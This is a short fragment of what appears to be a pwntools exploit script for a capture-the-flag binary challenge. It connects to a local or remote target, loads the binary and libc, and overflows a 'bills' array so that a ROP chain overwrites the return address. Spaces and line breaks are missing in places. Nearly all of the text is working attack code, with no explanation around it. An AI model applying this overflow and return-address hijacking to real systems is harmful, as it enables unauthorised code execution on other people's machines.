defpayload(lo: int): global t if lo: t = process(EXE) if lo & 2: gdb.attach(t, 'b *0x80492ea\nc') else: t = remote('pss.idss-cn.com', 24817) elf = ELF(EXE) libc = ELF('./libc.so.6')
defround_input(rop: list[int]): bills = [1] * 10# overflow bills.append(13) # write i to ret addr for e in rop: bills.append(e if e < 0x80000000else e - (1 << 32)) bills.append(0) # ends up t.sendlineafter(b'Enter', ' '.join(map(str, bills)).encode()) t.recvuntil(b'completed\n')